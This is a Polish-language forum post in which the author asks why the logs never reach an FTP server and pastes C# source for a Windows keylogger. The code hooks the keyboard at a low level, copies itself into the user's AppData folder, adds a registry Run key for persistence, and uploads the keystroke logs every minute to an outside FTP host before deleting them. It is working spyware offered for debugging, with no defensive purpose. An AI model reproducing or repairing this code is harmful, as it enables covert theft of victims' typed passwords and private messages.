Możecie mi powiedzieć co tu jest źle? Ogólnie problem polega na tym że wgl nie przesyła mi logów na ftp. Z tego co mi się wydaje błąd jes
Program.cs
AssemblyInfo.cs
Program.cs
Kod:
using System;
using System.Diagnostics;
using System.IO;
using System.Net;
using System.Runtime.InteropServices;
using System.Threading;
using System.Windows.Forms;
using Microsoft.Win32;
namespace WindowsFormsApplication3
{
static class Program
{
const int WH_KEYBOARD_LL = 13;
const int WH_KEYDOWN = 0x0100;
static LowLevelKeyboardProc _proc = HookCallback;
static IntPtr _hookID = IntPtr.Zero;
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
static extern bool UnhookWindowsHookEx(IntPtr hhk);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
static extern IntPtr GetModuleHandle(string lpModuleName);
delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
static Thread SendData;
static Stopwatch Timer;
static bool SendingData = false;
static string LogPath = "/domains/adam1360.ct8.pl/public_html/";
/// <summary>
///
/// </summary>
static void Main()
{
string path = "C:\\Users\\" + Environment.UserName + "\\AppData\\Roaming\\Key.exe";
RegistryKey key = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
if (!File.Exists(path))
{
File.Copy(Application.ExecutablePath, path);
key.SetValue(Application.ProductName, Application.ExecutablePath.ToString());
}
_hookID = SetHook(_proc);
LogPath = GetFileName();
SendData = new Thread(new ThreadStart(SendDataToFTP));
SendData.Priority = ThreadPriority.Highest;
SendData.Name = "Log making";
SendData.Start();
Application.Run();
SendData.Abort();
UnhookWindowsHookEx(_hookID);
}
/// <summary>
/// </summary>
/// <returns>Zwraca nazwe pliku</returns>
private static string GetFileName()
{
return "Log_" + DateTime.Now.ToString().Replace(':', '-') + ".txt";
}
/// <summary>
/// </summary>
/// <param name="proc">Delegat do klawiatury</param>
/// <returns>Handle</returns>
private static IntPtr SetHook(LowLevelKeyboardProc proc)
{
using (Process curProcess = Process.GetCurrentProcess())
using (ProcessModule curModule = curProcess.MainModule)
{
return SetWindowsHookEx(WH_KEYBOARD_LL, proc, GetModuleHandle(curModule.ModuleName), 0);
}
}
/// <summary>
/// </summary>
static void SendDataToFTP()
{
Timer = new Stopwatch();
Timer.Start();
while (true)
{
if (Timer.Elapsed.Minutes > 1)
{
try
{
SendingData = true;
FtpWebRequest request = (FtpWebRequest)WebRequest.Create("ftp://s1.ct8.pl" + LogPath);
request.KeepAlive = false;
request.Method = WebRequestMethods.Ftp.UploadFile;
request.Credentials = new NetworkCredential("Tu wpisuje login do ftp", "A tu podaje hasło"); // Te dane oczywiście zmieniam.
FileStream stream = File.OpenRead(LogPath);
byte[] buffer = new byte[stream.Length];
stream.Read(buffer, 0, buffer.Length);
Stream requestStream = request.GetRequestStream();
requestStream.Write(buffer, 0, (int)stream.Length);
requestStream.Close();
stream.Close();
File.Delete(LogPath);
LogPath = GetFileName();
}
catch
{
MessageBox.Show("a");
}
SendingData = false;
Timer.Reset();
Timer.Start();
}
}
}
/// <summary>
/// </summary>
private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
if (nCode >= 0 && wParam == (IntPtr)WH_KEYDOWN && !SendingData)
{
int code = Marshal.ReadInt32(lParam);
StreamWriter file = new StreamWriter(LogPath, true);
string k = ((Keys)code).ToString();
switch ((Keys)code)
{
case Keys.RShiftKey: file.Write(" PrawyShift "); break;
case Keys.LShiftKey: file.Write(" LewyShift "); break;
case Keys.RControlKey: file.Write(" PrawyCtrl "); break;
case Keys.LControlKey: file.Write(" LewyCtrl "); break;
case Keys.Enter: file.WriteLine(); break;
case Keys.Space: file.Write(' '); break;
case Keys.Tab: file.Write('\t'); break;
default: file.Write(k.Length > 1 ? ' ' + k + ' ' : k); break;
}
file.Close();
}
return CallNextHookEx(_hookID, nCode, wParam, lParam);
}
}
}
Kod:
using System.Reflection;
using System.Runtime.InteropServices;
// General Information about an assembly is controlled through the following
// set of attributes. Change these attribute values to modify the information
// associated with an assembly.
[assembly: AssemblyTitle("WindowsFormsApplication3")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("WindowsFormsApplication3")]
[assembly: AssemblyCopyright("")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyCulture("")]
// Setting ComVisible to false makes the types in this assembly not visible
// to COM components. If you need to access a type in this assembly from
// COM, set the ComVisible attribute to true on that type.
[assembly: ComVisible(false)]
// The following GUID is for the ID of the typelib if this project is exposed to COM
[assembly: Guid("25b39827-aaa8-4aa2-bba5-29fb203c0bf7")]
// Version information for an assembly consists of the following four values:
//
// Major Version
// Minor Version
// Build Number
// Revision
//
// You can specify all the values or you can default the Build and Revision Numbers
// by using the '*' as shown below:
// [assembly: AssemblyVersion("1.0.*")]
[assembly: AssemblyVersion("1.0.0.0")]
[assembly: AssemblyFileVersion("1.0.0.0")]